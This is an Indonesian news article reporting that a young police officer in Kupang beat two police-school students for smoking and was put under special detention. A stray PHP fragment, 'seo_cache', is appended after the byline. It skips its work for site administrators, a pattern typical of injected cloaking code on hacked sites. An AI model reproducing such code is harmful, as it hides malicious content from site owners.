TNI-Polri

Dikenakan Patsus Bripda Torino Beralasan, Aniaya Dua Siswa SPN Kupang karena Kedapatan Sedang Merokok

×

Dikenakan Patsus Bripda Torino Beralasan, Aniaya Dua Siswa SPN Kupang karena Kedapatan Sedang Merokok

Sebarkan artikel ini

KUPANG, MENARASUMBA.COM – Setelah viral dengan video sedang menganiaya dua siswa Sekolah Polisi Negara (SPN) Kupang, Bripda Torino Tobo Dara akhirnya diproses oleh institusinya.

Polda NTT pun mengungkap jika polisi yang juga baru sembilan bulan menyandang tugas ini bertindak brutal karena kedua juniornya kedapatan sedang merokok.

Hal itu disampaikan Kepala Bidang Hubungan Masyarakat (Kabid Humas) Polda NTT, Komisaris Besar Polisi Henry Novika Chandra, Jumat (14/11/2025).

Ia membenarkan jika dua siswa berinisial KLK dan JSU itu telah dihajar bertubi-tubi oleh pelaku.

“Sebagai senior ia merasa kesal ketika mendapati dua siswa itu sedang merokok,” terangnya.

Peristiwa pada Kamis (13/11/2025) itu direkam oleh Bripda GP yang juga jadi saksi kunci dalam peristiwa tersebut.

Langkah cepat diambil Bidpropam Polda NTT dan menginterogasi anggota Ditsamapta Polda NTT ini.

Henry menegaskan, Polda NTT akan melaksanakan seluruh proses sesuai koridor hukum dan etika profesi.

“Bidpropam Polda NTT telah memeriksa lebih lanjut kedua siswa SPN dan mengeluarkan Surat Perintah Penempatan Khusus (Patsus) kepada terduga pelanggar untuk langkah disiplin awal,” imbuhnya.

Kasus ini akan dijadikan sebagai penegasan komitmen institusi dalam menjunjung tinggi nilai pembinaan personel.

Polda NTT berkomitmen menjadikan penanganan kasus ini sebagai contoh nyata dalam penerapan nilai asah, asih, dan asuh dalam pembinaan.

“Sekaligus menegaskan bahwa kekerasan tidak memiliki tempat di lingkungan Polri,” tegas Henry.

Dari hasil pemeriksaan medis kepada kedua korban penganiayaan, lanjut Henry, tidak ditemukan luka maupun memar di tubuh KLK dan JSU.

“Keluarga kedua siswa juga langsung mendatangi Mapolda NTT usai mengetahui kejadian itu dan meminta pertanggungjawaban pelaku,” sambungnya lagi.

Pihak keluarga akhirnya sepakat menyerahkan sepenuhnya penanganan kasus tersebut kepada Polda NTT setelah dilakukan pendekatan secara persuasif.

Hal ini, sebut Henry, menunjukkan adanya kepercayaan keluarga terhadap proses hukum yang sedang berjalan.

“Kami berkomitmen memproses tuntas kejadian ini dan berharap tidak akan terulang lagi,” pungkasnya. ( KOP/MS )

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>